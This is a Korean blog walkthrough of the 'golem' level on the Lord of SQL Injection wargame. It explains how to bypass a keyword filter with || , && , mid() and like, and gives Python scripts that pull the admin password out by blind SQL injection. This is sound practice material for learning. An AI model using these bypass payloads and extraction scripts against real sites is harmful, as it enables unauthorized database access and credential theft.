power-girl0-0

[ Los ] golem 본문

War game/Lord of SQL Injection

[ Los ] golem

power-girl0-0 2021. 3. 22. 00:12
728x90

주소 : https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr


[ 문제 ]


[ 풀이 ]

먼저, 차단하고 있는 것을 확인해보자.

  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 

 

or, and, substr(, =을 차단하고 있다.

 

해당 차단은 아래와 같이 우회할 수 있다.

or과 and는 || 와 &&로 대체할 수 있다.

substr( )함수는 mid()함수로, =은  like로 우회가 가능하다.

 

이제 위 우회방법을 활용하여 id=admin을 입력해보자.

 

  ?pw=' || id like 'admin' %23

 

그 결과, 위와 같이 'Hello admin'이 출력되는 것을 확인할 수 있다.


이제, 문제 Clear를 위해 비밀번호 길이를 구해보자.

코드는 이전 문제에서 풀은 코드에서, query문만 바꿔주면 된다.

import requests

url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}

def password_length():
    len_pw=0
    while 1 :
        len_pw += 1
        print(len_pw)
        value = "' || id like 'admin' && length(pw) like {} #".format(len_pw)
        params={'pw':value}
        response = requests.get(url, params=params, cookies=cookies)
        if "Hello admin" in response.text:
            print("password length : ", len_pw)
            break
    return len_pw

password_length()

웹 페이지에서도 패스워드 길이를 확인해보자.

여기서 주의할 점은 url에서는 &&는 실행되지 않으므로, 인코딩된 %26%26을 사용해야 된다.

이로써, pw의 길이는 8인 것을 알 수 있다.


이제 pw를 유추해보자.

import requests

url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}

def password_length():
    len_pw=0
    while 1 :
        len_pw += 1
        print(len_pw)
        value = "' || id like 'admin' && length(pw) like {} #".format(len_pw)
        params={'pw':value}
        response = requests.get(url, params=params, cookies=cookies)
        if "Hello admin" in response.text:
            print("password length : ", len_pw)
            break
    return len_pw

def find_pw(len_pw):
    pw=''
    for i in range(1,len_pw+1):
        print(i,"번째 찾는 중")
        for j in range(48,122):
            value = "' || id like 'admin' && ascii(mid(pw, {}, 1)) like {} #".format(i, j)
            params={"pw":value}
            response = requests.get(url,params=params, cookies=cookies)
            if "Hello admin" in response.text:
                pw+=chr(j)
                print("password : ",pw)
                break
 
find_pw(password_length())

구한 값인 77d6290b를 웹페이지에서 입력해보자.

해당 문제에서도 데이터베이스의 pw면 CLEAR되므로, pw=77d6290b만 입력해주면 CLEAR된다.

문제 CLEAR!!

 

 

728x90

'War game > Lord of SQL Injection' 카테고리의 다른 글

[ Los ] bugbear  (0) 2021.03.22
[ Los ] darkknight  (0) 2021.03.22
[ Los ] skeleton  (0) 2021.03.21
[ Los ] vampire  (0) 2021.03.21
[ Los ] troll  (0) 2021.03.21
Comments